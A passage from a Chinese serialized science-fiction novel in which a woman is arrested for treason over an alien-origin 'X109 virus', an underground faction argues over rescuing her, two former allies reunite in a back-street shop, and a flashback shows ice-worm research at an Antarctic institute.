身体慢慢地瘫软下去,祝吟辰的视线慢慢下移,看见一根毒针不知何时贯穿了她的心脏,正在缓缓延伸出来,一点一点缠绕住她的身体。
而这毒针,似乎就来自于眼前的尼努尔塔。
耳边的声音渐渐远去,意识模糊中,她感到自己被一个轻柔的怀抱搂住,有些冰凉的手指捂住她的双眼,在她耳边轻声呢喃。
“伊塔,伊塔。”
“你要向何处去?”
……
【中心程序强制返回中,请保持意识清醒】
【中心程序强制返回中,请保持意识清醒】
【传输完成】
怎么回事……
舱门突然被粗暴地打开,眼前照过实验室天花板明晃晃的强光,祝吟辰痛苦地伸出手挡住眼睛,她还没来得及反应过来,突然,数双手将她死死按在舱中,周围传来一片乱七八糟的人声。
混乱中,她感到一双冰冷的手铐突然拷住她的手腕,与此同时,一句话清晰地传进她的耳中——“不许动,你已经被AGPC执行处依法批捕!”
……什么?
她艰难地挣扎着,本能地大声喊道:“凭什么?”
所有人都停住了动作,为首的执行官高高在上地俯视着她,义正言辞地说道:“经AGPC科技管理局交代,你加入阿努特纳星虫族后,与叛逃分子屠启母女二人合作,在故意放走雌虫后,与二人一同打入AGPC内部,故意散布已经明确来源于阿努特纳星的X109病毒,引发虫灾,并故意隐瞒刺杀北海军事领袖的计划,企图内外通敌,毁灭人类!”
“在检查过多方机构举出的证据后,AGPC最高法院判决,将你以背叛人类罪逮捕!”
祝吟辰听着这一切,只觉得胸中压抑得喘不过来气,呼吸也越来越急促,执行官冷冷地看着她,一声令下,所有人一拥而上,七手八脚地将她拉出传输舱。
她在众目睽睽下被带着走出总部大楼时,突然听到停车场外远远传来的警笛声。
她抬头望过去,远处A1区的几栋高楼大厦着了火,浓烟滚滚,天空被熏得黑沉沉的一片,低低地压下来,隔壁商业街那边传来人群暴动肆意打砸的声音,混杂着几声激烈的枪响。
斜瞥见祝吟辰茫然的眼神,执行官冷冷地说道:“趁着北海再一次群龙无首,反抗军已经打到了A1区,这就是你们干的好事!”
“我没有——”
“你背叛人类的事实证据确凿,事到如今你还要狡辩吗?给我闭嘴!”
“这是你们的诬告,AGPC不能代表所有人,我从未背叛过人类!”
……
停车场外围,因为此次突发暴动而提前下班的人群熙攘中,奕川站在报刊亭里,望着远处那个正在和执行官们激烈拉扯的女人被强行按进警车,眼中的情绪越发深沉。
本来就算医疗院院长死了,下邦局势进一步恶化,AGPC还能通过炒作一波萧衍的军功来安抚人们,因此这才促进了萧衍和屠一鸿的婚事,意在转移公众舆论的阵地,把解决城内的反抗军暴动和继续推进零启计划两手抓。
但局势变化就在一夜之间,所有人都没想到萧衍居然会在这么关键的时候死去,无人区军队没了统领的人,前线再次爆发混乱,甚至在今天已经打到了A1区。
X109病毒爆发的新闻在安全区内不胫而走,在大学城连同周边地带引发了大规模的抗议游行,情急之下,AGPC只能先把祝吟辰推了出来。
零启计划再重要,也不如先把联合城邦的内乱解决了重要。
也是在今天,公众才刚刚知晓,X109病毒的本质,是虫灾,那些他们无比留念的、活生生的身体,不过是外星虫群拟态的、真实的幻象。
雨渐下起来了,街上的人群陆陆续续打起了伞,奕川接了个电话,重新望向停车场刚才的地方,那里空荡荡的,祝吟辰已经被执行官们带走了。
她深吸一口气,走出报刊亭,雨幕中,对面停车场的广告牌上闪动着屠一鸿和屠启的人像通缉令,她没有带伞,只好淋着雨,一路小跑跑向自己的车。
接下来,红派有更多的事情要做。
75.她欲证己用,又忆月下游影
两天前。
屠一鸿离开后的第二天早上八点半左右,萧家的佣人在新房里发现了萧衍的尸体。
尽管AGPC已经在第一时间下达了封锁消息的命令,但无人区势力众多,鱼龙混杂,萧衍深夜被刺死亡的消息在一夜之间传遍了整个北海乃至周围的地区。
反抗军趁机在A1区和黑环发起暴动和游行示威,AGPC内部召开紧急会议,开始调查新娘屠一鸿的真正来路。
实际上,在祝吟辰向执行处秘密安插的间谍询问情报时,AGPC就已经注意到祝吟辰在和屠一鸿及其母亲进行接触了。
但在经过调查后,他们并没有发现什么异样,正如他们安排的“林筑”所告诉祝吟辰的那样——屠启母女皆来自于世界生命收容所,屠启通过试管技术诞下屠一鸿后,与一众同事将其养大。
几个月前,屠启在得知自己患癌后,选择辞职独自出走,而屠一鸿在不久后也选择了离开。
“其余的我们无可奉告,世界生命收容所和联合城邦的合作到此为止。”
在他们最后一次联系尚今安的时候,对方用冰冷的口吻这样回复他们。
但现在他们不能这样善罢甘休了,无论那个屠一鸿到底在发什么疯,萧衍死得实在不是时候。
军队失去了萧家的统领,底下的人争得你死我活,无人区现在已经乱成了一锅粥,X109的事情迫在眉睫,必须得有个事来转移公众舆情。
“针对祝吟辰背叛人类,与同伙合谋在无人区散布X109病毒一事的审判,将在本周周二下午三点于联合城邦最高法院开庭。”
顾遥拉上车门,抬头望向对面高楼大厦广告牌上实时播报的新闻。
清晨的雨幕里,远处近处高饱和颜色的霓虹灯光闪烁着一团团迷离的光晕,一个保镖恭恭敬敬地走过来为她打伞,另一个则将外套披在她身上。
一行人进入总部大楼。
走廊里、办公室里人来人往,这几天AGPC确实很忙,记者和市民抗议的电话响个不停,新一任卫生局局长的候选人票数正在统计,无人区的治安还要派执行处的人手去□□……
顾遥打发走几个保镖,走进联合会议室,里面空荡荡的,只有几个助手机器人在待机。
倒也正常,毕竟她在AGPC内部实际上没有什么活干,这些天有的人又不想来。
所以这次,她想给自己额外弄点差事做做,为十二主席分忧。
顾遥向助手要了一包纸巾,开始擦拭自己鞋帮上的雨水。
过了一会儿陆续有人来了,她扬起脸上的笑容,和杨威打了个礼貌的招呼,默不作声地将纸团扔进垃圾桶里。
时间一点点过去,大屏上的时间显示在八点半。
袁立请了病假没有来,白银在无人区有一场慈善活动要忙,南宫问天前段时间不幸去世,至于萧翎也……总之现在联合会议室里坐着八个人。
顾遥坐在椅子上,身体微微前倾靠在桌面上,双手交叉略遮住下半张脸,看到对面袁立的位置空荡荡的,她的嘴角勾起一个微笑。
萧衍被刺的事情一出,AGPC马上就调出了以往对屠一鸿的情报记录,在搞清楚她和屠启的亲子关系后,情报处人员又迅速顺藤摸瓜到了袁立身边的那个女人——屠启身上。
但屠启的动作更快一些,执行处人员找到北海研究所的时候,只找到了她在办公桌上留下的一封信件,里面详细地记录了X109病毒与阿努特纳星虫族的关系,以及袁立隐瞒虫灾不报的一系列罪证。
与此同时,零启计划的核心研究物料 ——【零】,也消失得无影无踪。
当天晚上,袁立在联合会议室里对着所有人哭得老泪纵横,她从来没有见过那么丑陋又滑稽的一张脸,像是三无小店后厨角落里蜷缩着的一团破破烂烂的旧抹布,散发出泔水桶里变质食物的馊味。
会议结束后,袁立就大病了一场,据说是因为“屠启的恶意栽赃”,导致了他的老年心脏病、风湿病、头疼……等等旧疾的突发,总之他务必要待在家里静养一段时间了。
老实说,这其实也不错,袁立不在,她感到联合会议室里的空间都宽敞了许多,呼吸也比平时顺畅了很多。
杨威正在台上说话,是关于这些天执行处在整治A1区暴动时发现的一系列公共安全事务。
顾遥认认真真地听着,渐看出他眼底透出的疲惫。
毕竟杨威已经是个老人了,从他带领几个家族建立起联合城邦开始,已经过去了几十年,几十年以来,他作为首席,每一日都克己奉公,事必躬亲,在所有人看来,是个真正可敬的统领者。
想着想着,看着杨威的那头白发,顾遥的心中渐渐生出一种敬仰。
她当初答应顾家主母暂时休学,参选十二主席的时候,其实内心隐隐约约是有一种幻想的——像她这种年龄的少女,内心总是有一个拯救世界的梦。
只是……她真的可以做到吗?
顾遥的眼神黯淡下来,她低下头,看见玻璃桌面上自己的倒影。
那是一张苍白的、平凡的脸,两颊布着些雀斑,唯一有些血色的是今天早上小心翼翼涂上的唇膏,眼神里透出一种乏味的单调,那是把书读死了的学生们特有的眼神。
大学城法学系大一新生,她今年十八岁。
看着自己熟悉又陌生的脸,顾遥深吸一口气,缓缓举起右手,大屏立刻识别到她的动作,一行文字提示接下来的发言通知。
下一秒,大屏上显示出她的脸,所有人齐刷刷地看向顾遥。
“我想请求负责接下来针对祝吟辰的庭前审问。”
顾遥坚定地看着杨威,眼神中透出一种少年气的倔强,就像她几个月前高考誓师时那样。
十八岁,正是少女大展拳脚的年纪,不是吗?
……
A2区小吃街的某处不起眼的饭店,干净整洁的餐厅里没几个人,后厨不断有几个厨子打扮的人进进出出,将新运到的食材搬进冷冻仓库。
到晚上九点的时候,最后一个客人离开,饭店关了门,餐厅歇了灯,而后厨到后门的院子里灯光大亮。
由于是特殊时期,街上的人很少,雨夜里的小吃街静悄悄的,一排排路灯倒映路上的雨水,浮动在城市地面的星星泛起一圈圈涟漪,
所以当奕川穿着雨衣赶到店后门的时候,并不用担心被人发现的风险。
她喘着气拉开后门,一尘不染的房间中央摆着一个巨大的木质圆桌,周围零零散散放了很多凳子,几个男人正在往房间里抬更多的桌子,其中一个身着围裙的女人走上前来迎接她。
“谢谢。”
奕川将雨衣脱下来递给女人,礼貌地问道:“请问齐争青他们什么时候到?”
“半个小时后。”
女人离开了,看样子是去厨房里准备茶点,奕川坐到圆桌对着门的位置,拿出包里的电脑,开始梳理这些天记录下来的情报。
不一会儿,人就陆陆续续地到齐了,总共约五十来人,有女有男,有的在后院小花园里闲逛,有的聚在屋内聊着天,这些人都是红派的核心成员,大多数是拥有较高教育水平的上邦人。
瞥见电脑右下角的时间差不多了,奕川抬起头,齐争青正好坐在她面前,正在和几个同伴激烈地讨论着些什么。
她咳了一声,吸引到齐争青的视线。
“最近怎么样?”她礼貌地问候道。
“还不错,挺忙的。”
齐争青是那种典型的高干子弟,带着些文艺精英男的范儿,上身是一件灰色的毛呢风衣,下身着一条黑色的直筒裤,脚蹬一双干净锃亮的皮鞋,头发梳得油光锃亮,加上一米八五的身高,整个人看起来神气极了。
齐家是大学城里有名的学阀家族,在AGPC教育局里人脉广阔,齐争青作为大学城里首屈一指的学生会主席,在鼓励大量学生和知识分子加入红派这件事上有很大的功劳。
如果说奕川是红派组织地下活动、布置眼线间谍的暗面,那齐争青就是红派宣传理想进步和自由平等的明面。
二人客套寒暄了几句,不多时人就到齐了,陈立新也来了,奕川看见她一来就像个兔子一样激动地窜进她的姐妹堆里。
先前系着围裙的女人把门关上后离开,红派的第十七次内部会议开始了,奕川第一个站起身,向众人讲述了零启计划的事情。
房间里的气氛慢慢安静了下来,周围的人神色各异,有的惊讶地看向同伴,有的用怀疑的眼神盯着奕川,有的陷入了良久的思考……
齐争青听着听着,慢慢皱起眉头。
等奕川一说完,他就发话道:“我记得你之前说过,你手下的人私自带着雌虫跑到北海后意外失踪了?”
奕川点点头,“是的,他的名字叫凌风。”
“如果说对雌虫的实验是零启计划的一环的话,我怀疑,那个凌风会不会是AGPC科技管理局插入红派的间谍?”
奕川听到这猝不及防的一句,稍微愣了一下,很快就反应了过来,她矢口否认道:“并非如此,凌风带走雌虫只是出于私人感情的原因。”
此话一出,房间里的人群发出一阵阵惊叹的唏嘘声,陈立新看着几个姐妹投过来的激动和震撼的眼神,有些尴尬地咳嗽了几声,站起身说道:“是的,我也可以作证。”
齐争青若有所思地挥了挥手,示意她坐下。
奕川见周围气氛渐渐热络了起来,看着众人说出她此行的主张:“综上,通过这段时间得来的情报,我申请暂时停止对十二主席的拉拢,向反抗军势力靠拢,并派出特别行动小组组织营救祝吟辰……”
房间里顿时响起纷纷的议论声,她话还没说完,齐争青突然举起手,斩钉截铁地打断道:“不行,我反对!”
“为什么?”奕川转过头惊讶地看着他。
“因为祝吟辰与虫族的关系并不明朗,而联合反抗军将会进一步加剧X109病毒在安全区内的扩散。”<
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齐争青站起身,用坚定的眼神看向房间里的所有人,掷地有声地说道:“最重要的是,我们现在的势力还不够强大。”
房间里的气氛逐渐变得严肃起来,所有人看了看齐争青,又看了看奕川,讨论的声音慢慢低沉了下去,变成了各怀心事的窃窃私语。
奕川看着齐争青的背影,无声地张了张嘴,陈立新坐在沙发角落里,默默攥紧了自己的衣角。
“可是我们都知道,AGPC已经开始启动了零启计划。”
奕川并不死心,她皱着眉头接着说道:“继续拉拢十二主席是不明智的,他们迟早会抛弃我们,而他们也并不认可我们的理念。”
“零启计划只是祝吟辰的一面说辞,有其他的证据可以证明零启计划的存在吗?”
齐争青大步走到奕川身前,凝视着她的眼睛。
“恕我直言,您给出的证据实在太少了些——”
“有!”
房间角落里突兀地响起一个声音,所有人看过去,陈立新站起身,目光炯炯地看着齐争青。
“我曾经在北海的研究所里被拘禁了半个月,与屠启有过很长一段时间的接触,她曾经向我透露过零启计划的事情。”
屠启,这个重案通缉犯的名字将房间里的气氛再次点燃,包括陈立新的朋友们在内,惊讶和激动的眼神在房间里飞来飞去,房间里的讨论声再次变得激烈。
齐争青皱起眉头,上下打量着陈立新,他突然想起了什么,慢慢地说道:“我记得你,你是和凌风一起放跑了雌虫的那个?”
“……只是意外,但确实有我看管不力的责任,我接受一切处罚。”
“不用了。”
齐争青随意地摆了摆手,他看向众人,问道:“你们怎么看?”
奕川也带着忐忑的心情看向众人。
半天没有人说话,齐争青胸有成竹地点了点头。
“那就投票吧。”
坐在他旁边的一个男孩立刻在电脑上弄了个简易的网上投票,五分钟后结果出来,支持奕川观点的约占了在场所有人的七分之三。
见奕川陷入沉默,男孩讪笑着走上前,乐观地安慰道:“说不定等大家先度过这段时间的风头,就可以去救祝吟辰了!”
旁边立刻响起一个鄙夷的声音,“说不定?未来的事情都还没定论,你就这样信口开河乱哄人啊?”
一群人哄笑起来,男孩的脸一下子涨得通红,猛地转过身与反驳的人争吵起来,房间里的气氛逐渐变得热闹,其他的人也开始议论纷纷,表达各自的观点。
“X109病毒都弄死了好几个主席了,要我说,再费功夫去拉拢他们也是白搭,万一刚刚谈下合作就死了呢?就像那个萧衍一样。”
“祝吟辰其实只在大学城那边的小公寓活动过吧?在这种时候,浪费内部人手去救一个边缘人,还是个重点通缉犯,是不是有点太冲动了?”
“哈哈,其实没必要太担心,拉拢十二主席只是暂时的计策罢了,反正最后我们肯定要把AGPC内部清洗一遍的。”
“哇,那到时候我们一定要联合反抗军才行吧!”
“实话说,我其实不太信任那帮暴力分子,我昨天才在A1区被他们抢劫,气死我了!”
……
陈立新坐在角落里,看着周围的所有人沉浸在争论中,奕川也在试图和齐争青争取沟通。
明亮灯光下的人群闪着晃影,融作一片的阴影在地面沉默地游动,她突然感觉自己好像还困在研究所里,四面白色的墙壁,怎么也逃不出去。
当初加入红派,是为了什么呢?
老实说,她已经忘了,好像是一时冲动,又好像只是跟风,又似乎是因为好奇,总而言之,绝不会是为了像现在这样,为了认同某种观点,而放弃自己的个人行动权。
理智的,群体的,统一的,无论最终讨论出来的观点是什么,都是违心又很强硬的事情,这样的事情,她做不到。
或许她从来没有想过加入红派,她一直以来追求的,是领导红派,或是别的什么派也好,绿派,蓝派,白派,黑派……只为了平等和自由,放手一搏,四处奔走。
实在是非常任性的想法……
陈立新轻晃了晃头,想把这样的妄想忘掉。
但接下来手腕识别器传来的一条讯息,彻底改变了她的想法。
察觉到手腕的一声微响,她点开识别器,不可思议的名字映入眼帘的那一刻,她的瞳孔逐渐放大。
仿佛幽灵般重新出现在她面前,那个纤弱的、单薄的身影,在黑夜里举着枪口向她走来,一双如月亮般清透的眼睛。
她愣愣地盯着发来的文字,思考了足足有五分钟。
“报告!”
角落里再次传来响亮的声音,所有人看过去,还是陈立新。
她站起身,目光环视了一圈众人,眼神里透出一种出走人世间的傲气。
“我申请,退出红派。”
76.三人重聚,欲揭故事
联合城邦,黑环。
穿过一排排琳琅满目的店面,陈立新拐进狭隘的街角深处,站在一家不起眼的小店面前。
店面门扉虚掩着,后面街上钴蓝色的霓虹灯在两面墙壁上闪晃,上面各嵌着一扇灰扑扑的玻璃窗,内部黑色的窗帘遮得严严实实,窗台上摆满了精心打理的绿色多肉植物,屋内隐约传来金属摇滚的阵阵轰鸣声。
陈立新若有所思地打量起店面来,这样的地方,一般会在黑环里卖些什么呢?
或者说,屠一鸿会在黑环卖些什么呢?
整理好心情,她敲了敲门,等了约十秒左右,见里面没有回应,便直接推开门走了进去。
一进门,一阵震耳欲聋的金属核猛地冲撞进耳朵,响得人脑海里一片天昏地暗,陈立新赶紧捂住耳朵,看向屋内深处。
目之所及处皆堆满乱七八糟的陈设,伸手不见五指的一片漆黑中,一个人影逆着强烈的屏幕白光坐在电脑屏幕前——彩虹寸头、头戴式耳机和眼花缭乱的游戏操作。
……你谁啊?
陈立新大声喊道:“你好,我来找个人!”
寸头像是没听见,双眼仿佛钉死在了屏幕上。
陈立新艰难地绕过地上的外套、漫画书、零食包装袋、数据电线……挪到寸头身旁,冲着对方耳朵大声喊道:“你好,我来找个人!”
寸头察觉到动静,瞥了身边的不速之客一眼。
她点了几下鼠标暂停住音乐,摘下耳机看向陈立新。
陈立新这下看清楚了,眼前这个寸头居然是前段时间她跟踪祝吟辰时,在地下台球厅里看见的那个和执行官抱团逃走的女孩!
“找谁?”
“呃,这个,”
陈立新犹豫了一下,一时不知道要不要把屠一鸿的名字直接说出来,只好含糊其辞道:“一个爱穿及膝白纱裙,外面披一件长袖外套的黑色长发女生,你见过吗?”
闻言,寸头一挑眉,盯住陈立新的眼睛。
陈立新坚持保持着一动不动的状态,回应对方审视的视线。
良久,寸头摇了摇头,视线转回到电脑屏幕前,“没看见。”
陈立新顿时急了,“请你再好好想想,我记得是这个地址来着……”
“哎,对了——”
寸头突然像是想起了什么,猛地转过头来,惊奇地盯住陈立新的眼睛,“我们是不是在哪里见过?”
陈立新顿时有些发愣,怎么回事,这都哪跟哪啊?
不对,这寸头是在试探自己!
陈立新面上浮起一个标准的笑容,用无比笃定的声音说道:“没有,从来没见过。”
寸头的神色透出浓浓的怀疑,“真的?”
“真的,我从来没见过你,这是我们第一次见面。”陈立新的语气越发镇定自若。
“原来如此,”寸头恍然大悟地点了点头。
“也是,像我们这种老老实实做小本生意的人,可八百年不出门——”
门外突然传来低柔的声音——“老板,别骗她了,是自己人。”
听到熟悉声音的一瞬间,陈立新瞳孔猛地放大。
她看向门口,门缝露出一束钴蓝色的霓虹灯光,一个黑色的身影逆光进入,伸手拍了一下墙壁上的按钮,整个房间顿时应声而亮。
看清来人的一瞬间,陈立新松了口气。
果然是屠一鸿,她还是那身熟悉的打扮,只不过丝绸裙边袜和黑色漆皮小皮靴变成了便于行动的中筒袜和运动鞋,外套也变成了耐磨的灰蓝色牛仔。
但当屠一鸿向她走来时,她突然有些手足无措起来。
现在,她该作何反应呢?
其实在来之前,她是有想过要不要把屠一鸿打一顿的,毕竟因为她的各种隐瞒,她在研究所里着实吃了不少苦头。
但如今,眼前这个可恶的家伙突然摇身一变,成了一个人人喊打的通缉犯,以往那个纤弱玲珑的身影变成了一个狼狈的、在泥水坑里挣扎的可怜人。
上一次见她时,好像还是在萧家府邸里,当时她坐在柔软舒适的沙发上,面前放着一碟小蛋糕,向她保证自己会去找萧衍保护她和凌风的安全。
是谎言,还是无奈?
难道从一开始,自她就一直在利用自己吗?
她为什么要杀了萧衍呢?
……
屠一鸿走到陈立新身前,后者视线低垂,似乎是不想看自己。
她自然地伸出一只手,“你最近怎——”
“啪——!”
寸头坐在电竞椅上,夹在二人中间,瞪大了眼睛,惊讶地看着这一幕。
陈立新红着眼睛抬起头,结结实实地扇了屠一鸿一耳光。
后者被打偏过小半边脸,良久,慢慢地重新抬起头来。
她再次将视线聚集到陈立新脸上,静静地看着对方,神情里看不出一点生气的波澜。
时间仿佛陷入了停滞,一分一秒过去,陈立新深吸一口气,坦然道:“好了,我解气了。”
说完,她径直越过屠一鸿,向门口走去。
见屠一鸿一副沉默不语的样子,寸头顿时急了,向陈立新的背影喊道:“喂,等等!”
陈立新站在门口,回过头,“咋了?”
“你打了我店里的员工就走啊?”
“员工?”
陈立新疑惑地看了看屠一鸿的背影,“她是你店里的员工?”
“对啊!”
“哦。”
陈立新点了点头,转过身拧开门把手,“关我屁事。”
寸头刷地一下站起身,神情是空前的严肃,“不行,你不能走,你必须要赔偿!”
陈立新再次无奈地回过头,“行行行,赔多少?”
“一千万联邦币!”
“多少?”
陈立新差点以为自己听错了。
她仿佛卡带故障一般慢慢地回过头,难以置信地盯住寸头的眼睛。
“你说多少?”
寸头深吸一口气,她大步走上前,右臂砰地一声关上店面,看着陈立新的眼睛,左手笃定地伸出一根食指。
“一千万联邦币,一分不多,一分不少。”
“你们开的黑店啊?!”
寸头微笑,“是这样没错。”
“哈?我才不干!”
陈立新猛地推开寸头,想抢先去拧门把手,寸头眼疾手快扑上来,两个人开始在门前你争我抢推搡起来,混乱中,寸头据理力争地大声喊道:“黑环不开黑店开什么?”
“少给我来这套,我要去AGPC执行处告你们!”
……
二人争执个不停,生怕寸头一会可能把帮手叫过来,陈立新狠下心,突然用尽全身力气撞开寸头,又趁机弓肘给对方的腰侧狠狠来了一下,寸头发出吃痛的闷哼声,松开了抱住陈立新背部的手。
正当陈立新汗流浃背地拧开门把手,即将逃出屋外的一瞬间,她身后突然传来屠一鸿的声音。
“我们坐下来好好谈谈吧,我知道你已经退出了红派。”
闻言,陈立新的身体僵硬了一秒。
她背对着屋内,没有回头,右手仍然紧紧地攥着门把手,仿佛下一秒就要踏出房门。
门缝透出一线钴蓝色的霓虹灯光,纯净晦暗的颜色照在她的脸上,仿佛淹没在深水中,使人看不清她的神情。
“你总是这样算计别人吗?”
房间深处响起清晰的脚步声,屠一鸿的声音在她背后越来越近。
“我知道我做错了很多事,辜负了很多信任我的人……”
一只手轻轻放在她的肩头。
“但是很抱歉,如果给我一个重来的机会,我不会改变我做过的行为。”
意料之外的话语,击碎了内心深处的期盼,陈立新的瞳孔倏地放大。
她猛地转过身,盯住屠一鸿的眼睛,难以置信地质问道:“为什么?”
不知为何,屠一鸿脸上浮起一个温柔的微笑。
“如果你愿意的话,可以坐下来听我好好讲讲吗?”
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良久,陈立新看着屠一鸿的眼睛,极轻、极慢地点了下头。
“给你最后一次机会,以后不许再骗我。”
……
寸头揉着腰,在凌乱的家具堆角落里翻出三张板凳;屠一鸿走进隔壁间的小客厅,把茶几上的泡面和零食垃圾袋收拾到垃圾桶里;陈立新则痛苦地掩着口鼻,将客厅地面打扫了一下。
三人忙活了小半天,好不容易腾出一片还算干净整洁的空间,陈立新松了口气,接过寸头递来的板凳坐下。
三人围坐在茶几边上,屠一鸿从冰箱里拿来三瓶冰啤酒放在茶几中央,主动拿起一瓶递给陈立新。
陈立新有些意外地看了一眼屠一鸿,犹豫了一下,还是接过了。
她熟稔地单手打开瓶盖,叹了口气,“真是没想到,你现在居然住在这种地方。”
屠一鸿还没开口,寸头先坐不住了。
她猛灌下一大口冰啤,不满地瞪着陈立新,声音变得有些嘶哑,“喂!你给我解释清楚,什么叫这种地方?”
陈立新紧闭上双眼,露出仿佛生吃了大半个酸柠檬的表情,她默默喝了一口冰啤,不再多言。
看似啥也没说,实际上什么都说了。
寸头生气地伸出右手,用力推了一把陈立新的左肩。
无视寸头的举动,陈立新放下冰啤,试图转移话题,“话说,你们两个怎么莫名其妙就混到一起去了?”
她看向寸头,“特别是你,明明是能干得起买卖雌虫这种大事的商家,怎么这里就你一个人?”
寸头斜瞥了一眼陈立新,低下头,视线转移到手中握着的冰啤。
她低声咕哝道:“托那位大人所赐,出来单干了呗。”
“那位大人?”
寸头将视线转向茶几前三米处的旧电视,意有所指地点了一下下巴。
陈立新顺着她的视线看过去,上面正以极低的音量实时播报着联合城邦的新闻。
伴随着一句句冰冷的女声,新闻的画面切换着闪烁了几下,祝吟辰的高清人像照片在屏幕上显现,下面循环滚动着一行大字——
“针对祝吟辰背叛人类。与同伙合谋在无人区散布X109病毒……最高法院开庭”
每一个字都无比清晰,明目张胆地铺张在她的眼中,仿佛是在嘲笑她面对局势倾覆下的再一次无能为力。
陈立新心头突然涌上一阵悲伤的情绪,她默默地低下头,沉默不语。
气氛突然陷入了沉默,寸头有些不解地看向屠一鸿,眼神里透着询问,后者回应以一个微笑,摇了摇头,仿佛是在给陈立新以整理情绪的时间。
过了几分钟,陈立新重新振作起精神,她再次抬起头,深吸了一口气,看向屠一鸿。
“好了,先给我讲讲零启计划的事情吧。”
“可以,”屠一鸿点了点头。
“但我觉得,还是从这一切事情的开端给你讲起比较好。”
看着眼前二人彼此交汇的眼神和默契的反应,寸头顿时变得大惊失色,她不断左右看着二人的脸,身体猛地向前倾了好几度,“不是,什么零启计划啊?”
陈立新有些摸不着头脑,“你们不是同伙吗,你居然不知道?”
屠一鸿脸上仍然保持着微笑,只是嘴角的弧度渐透出几分尴尬。
闻言,寸头猛地转过头看向屠一鸿,“你明明说过只是找人来帮店里打下手的!”
“是这样没错,地打扫得很干净。”
“少来!那个零启计划是怎么回事?”
寸头的声音越发激动起来,几乎透出一种痛心疾首的控诉,“你在我这里白吃白喝这么多天,这么有价值的情报居然瞒了这么久吗!”
“你贴出的招人广告明明写着包吃包——”
还没等屠一鸿解释完,寸头发出一声沉重的叹息,她摆了摆手,大义凛然地说道:“算了,朋友之间,这些小事就不计较了。”
“给你最后一次机会,以后不许再骗我。”
“……好。”
77.世界尽头的失落之城
两年前。
人们口中的南洋,其主体并非像名字上看起来的那样是一片海洋,而是坐落在南极中心的一片独立的冰封大陆。
除了周边离散的岛屿上还生活着一些远离人类文明社会的部落外,这里广袤而无人知晓的一切掩埋在近几千米高的冰层下,被大陆边际数座百米高的冰山包裹住,沉寂了近二十七个世纪。
在战前,这里唯一留有人类文明痕迹的地方是各国派来的南极科考队伍和基地,但在战争过后,这里的一切也渐渐变成了废墟。
好在在联合城邦被建立起来后,一部分厌倦了无休止斗争的人类开始重新踏上这片世界边缘之地,在艾利角——南极大陆的边缘延伸出来的一角陆地处,建立起了新的科考基地——世界生命收容所。
世界生命收容所的作用除了继续进行前人留下的科考研究项目外,还有其他新的职能。
正如它的名字一样,担当着保存人类以外的其他物种的遗种,以及对其他灭绝物种的克隆、冷冻封存、基因融合……等机密研究。
战前专供富人们追求永生、进化和大饱眼福的各种技术被重新利用起来,用以保护更多的生物多样性,以及实现更多的、不可思议的可能性。
比如辅助人类适应外星际的生命耐低温生存实验。
在生命多样性急剧减少的战后,重新团结起来的人类终于将目光在彼此身上移开,转而望向更广阔的宇宙,他们坚信,那些异族急需人类的文明前去探索和解放。
正因为如此,从联合城邦的大学城,到远在南洋的世界生命收容所,对生命耐低温生存和减缓新陈代谢的研究广泛地流行,由于地域条件的特质,有关冰虫的各种研究项目研究项目成为了收容所里的香饽饽。
极地冰虫,作为一种个体极其微小的聚居动物,惯以群居生活在极地低温中,被称为地球上唯一冻不死的生物。
不仅如此,它们还拥有着极其强悍的耐饿能力,在前人的一项实验中,一只冰虫被关在冷藏室里足足两年,但仍然顽强地活了下来。
因为以上条件,冰虫具有历代科学家门理想中外星生命的最佳特质,但冰虫也有致命的弱点——怕热。
它们习惯于在冰中繁衍生存,抵抗高温的能力异常脆弱,周围的温度若是高过4摄氏度,就会融化成一滩无色透明的粘液。
如何使得冰虫可以突破这一桎梏,用以辅助成功进化的人类未来可以在外星的各种极端环境中生存,是研究所里的一项重大研究方向。
屠启教授及其领导的团队,正是这一项目研究的领头羊。
季节如沙漏的两端,一端因为时间的重量而落下,空荡荡的那端就浮起太阳。
现在是蓝星新元年第三代,一月二十五日,这段时间,南极处在长明的极昼中,直到三月的末尾,黑夜才会再度降临。
因为不能通过环境变化来保持规律的作息,屠启习惯于设定闹钟来提醒自己做事的时间,她每天准时在早上五点半醒来,工作直到晚上十一点再休息。
新的一天,从前线的探索工作人员送来新的冰虫样本开始,重复进行新的工作。
门外吹过的风雪扑簌簌地打在窗户上,冰冷的阳光照进走廊,地面白瓷砖折射出柔和的光泽。
屠启看着同事将冰虫的样本呈进实验室,转头看向程屿,日常地客套慰问了几句。
程屿脱下厚重的手套,搓了搓冻得通红的手心手背,笑道:“不打紧,其实这玩意也不难找,到处都是。”
屠启微微一笑,心中了然这是对方过分谦虚——三天前,世界生命研究所再次向全人类发布了全球变暖逼近阈值的高危警告,南极冰层继续以惊人的速度融化,海平面持续上升,与此同时,极地冰虫的数量也随之减少。
二人再度闲聊了一会儿,不多时,隔壁的实验室突然热闹起来,一群人抬着担架跑来跑去。
屠启向那边看了一眼,似乎是新送来了几个冻伤的科考队员。
她面前,程屿兜里的电话突然响了起来,对方脸上露出抱歉的微笑,接过电话,一边连连应声,一边开门离开。
巧的是下一秒,屠启兜里的电话也紧接着响了起来。
她赶紧接起电话,向离隔壁实验室更远的走廊另一端走去,“您好,我是屠启。”
“屠教授,这边新出了个事,对方那边可能需要您派点人过去帮忙。”
“什么事?”
“您负责的那块科考区域,有人在里面失踪了。”
天大的一口锅突然降临到自己头上,屠启皱起眉头,“怎么会有人跑到里面?”
电话那边的声音开始含糊其辞,“呃,这个就是,他们前几天不小心放了个民间科考小队进去,联合城邦过来的,也不好拒绝……”
“……行,我知道了。”
挂断电话,屠启站在原地思考了许久,慢慢向实验室走去。
一进门,几个来得早的同事正在讨论怎么写样本观察的报告,她看向玻璃隔离间的里面。
帘子被拉开,少女刚刚换下实验服,在等待机器给全身消完毒后,少女穿着病号服和浅蓝白条纹棉拖鞋向她身后走来。
二人的目光不慎接触,少女微微抬起头,叫了声她的名字:“屠启。”
她停住脚步,略微垂下一点视线,望着少女的眼睛。
“不和我说话吗?”
“早上好。”她淡淡地说道。
与少女擦肩而过的一瞬间,她突然闻到一股浓浓的消毒水味,和处方药物的苦味混合在一起。
这股味道似乎比它的主人的存在更醒目一些,更能提醒她,她的生命里确实有这样例外的存在。
瘦弱的身影渐渐远去,那是她的女儿,屠一鸿。
屠启心里默默盘算着,她才刚刚做完实验,现在应该要去病房里输三个小时的液,顺便将今天的课程自学完。
今天是星期三,食堂里会供应栗子蛋糕和糖醋排骨,等会得请个同事给她发条信息警告一下,白血病患者应当自觉减少糖分的摄入。
她一边想,一边走到同事们面前,“怎么样,数据有变化吗?”
几个同事抬起头来,不约而同地看了看彼此,一副欲言又止的样子。
